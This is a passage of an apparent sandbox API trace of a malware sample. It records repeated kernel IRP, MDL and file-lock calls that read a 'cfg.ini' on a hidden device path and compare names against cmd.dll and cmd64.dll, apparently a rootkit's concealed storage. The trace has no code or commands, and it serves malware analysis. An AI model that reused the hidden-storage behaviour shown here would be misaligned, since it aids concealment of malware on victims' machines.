0xfffffa800294c450 [0130.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.270] KeLeaveCriticalRegion () [0130.270] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.270] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.270] KeEnterCriticalRegion () [0130.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.270] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.270] KeLeaveCriticalRegion () [0130.270] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.270] KeEnterCriticalRegion () [0130.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.271] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.271] IdePortDispatch () returned 0x103 [0130.271] KeWaitForMutexObject () returned 0x0 [0130.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.271] KeLeaveCriticalRegion () [0130.271] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.271] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.271] KeEnterCriticalRegion () [0130.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d4f000 [0130.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.271] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.271] IdePortDispatch () returned 0x103 [0130.271] KeWaitForMutexObject () returned 0x0 [0130.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.271] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.271] IdePortDispatch () returned 0x103 [0130.272] KeWaitForMutexObject () returned 0x0 [0130.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.272] KeLeaveCriticalRegion () [0130.272] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.272] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.272] KeEnterCriticalRegion () [0130.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.272] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.272] KeLeaveCriticalRegion () [0130.272] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.272] KeEnterCriticalRegion () [0130.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.272] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.272] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.272] KeLeaveCriticalRegion () [0130.272] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.273] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.273] KeEnterCriticalRegion () [0130.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.273] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.273] KeLeaveCriticalRegion () [0130.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.273] ReleaseMutex (hMutex=0xf0) returned 1 [0130.273] Sleep (dwMilliseconds=0x124f80) [0130.288] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.288] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.288] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.288] KeEnterCriticalRegion () [0130.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.288] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.288] IdePortDispatch () returned 0x103 [0130.288] KeWaitForMutexObject () returned 0x0 [0130.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.288] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.288] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.288] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.289] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.289] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c250 [0130.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.289] KeLeaveCriticalRegion () [0130.289] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.289] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.289] KeEnterCriticalRegion () [0130.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.289] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.289] KeLeaveCriticalRegion () [0130.289] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.289] KeEnterCriticalRegion () [0130.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.289] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.289] IdePortDispatch () returned 0x103 [0130.289] KeWaitForMutexObject () returned 0x0 [0130.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.289] KeLeaveCriticalRegion () [0130.289] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.289] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.289] KeEnterCriticalRegion () [0130.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.289] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d54000 [0130.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.289] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.289] IdePortDispatch () returned 0x103 [0130.290] KeWaitForMutexObject () returned 0x0 [0130.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.290] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.290] IdePortDispatch () returned 0x103 [0130.290] KeWaitForMutexObject () returned 0x0 [0130.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.290] KeLeaveCriticalRegion () [0130.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.291] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.291] KeEnterCriticalRegion () [0130.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.291] KeLeaveCriticalRegion () [0130.291] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.291] KeEnterCriticalRegion () [0130.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.291] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.291] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.291] KeLeaveCriticalRegion () [0130.291] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.291] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.291] KeEnterCriticalRegion () [0130.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.291] ExFreePoolWithTag (P=0xfffffa800294c250, Tag=0x0) [0130.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.291] KeLeaveCriticalRegion () [0130.291] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.291] ReleaseMutex (hMutex=0xf0) returned 1 [0130.291] Sleep (dwMilliseconds=0x124f80) [0130.306] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.307] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.307] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.307] KeEnterCriticalRegion () [0130.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.307] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.307] IdePortDispatch () returned 0x103 [0130.307] KeWaitForMutexObject () returned 0x0 [0130.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.307] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.307] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.307] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.307] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.307] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ce10 [0130.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.307] KeLeaveCriticalRegion () [0130.307] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.307] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.307] KeEnterCriticalRegion () [0130.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.307] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.307] KeLeaveCriticalRegion () [0130.307] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.307] KeEnterCriticalRegion () [0130.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.307] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.307] IdePortDispatch () returned 0x103 [0130.308] KeWaitForMutexObject () returned 0x0 [0130.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.308] KeLeaveCriticalRegion () [0130.308] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.308] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.308] KeEnterCriticalRegion () [0130.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.308] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d59000 [0130.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.308] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.308] IdePortDispatch () returned 0x103 [0130.308] KeWaitForMutexObject () returned 0x0 [0130.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.308] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.308] IdePortDispatch () returned 0x103 [0130.309] KeWaitForMutexObject () returned 0x0 [0130.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.309] KeLeaveCriticalRegion () [0130.309] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.309] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.309] KeEnterCriticalRegion () [0130.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.309] KeLeaveCriticalRegion () [0130.309] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.309] KeEnterCriticalRegion () [0130.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.309] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.309] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.309] KeLeaveCriticalRegion () [0130.309] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.309] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.310] KeEnterCriticalRegion () [0130.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.310] ExFreePoolWithTag (P=0xfffffa800294ce10, Tag=0x0) [0130.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.310] KeLeaveCriticalRegion () [0130.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.310] ReleaseMutex (hMutex=0xf0) returned 1 [0130.310] Sleep (dwMilliseconds=0x124f80) [0130.331] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.331] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.331] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.331] KeEnterCriticalRegion () [0130.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.331] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.331] IdePortDispatch () returned 0x103 [0130.331] KeWaitForMutexObject () returned 0x0 [0130.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.331] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.331] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.331] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.331] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.331] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c660 [0130.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.331] KeLeaveCriticalRegion () [0130.331] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.332] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.332] KeEnterCriticalRegion () [0130.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.332] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.332] KeLeaveCriticalRegion () [0130.332] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.332] KeEnterCriticalRegion () [0130.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.332] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.332] IdePortDispatch () returned 0x103 [0130.332] KeWaitForMutexObject () returned 0x0 [0130.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.332] KeLeaveCriticalRegion () [0130.332] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.332] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.332] KeEnterCriticalRegion () [0130.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.332] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5e000 [0130.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 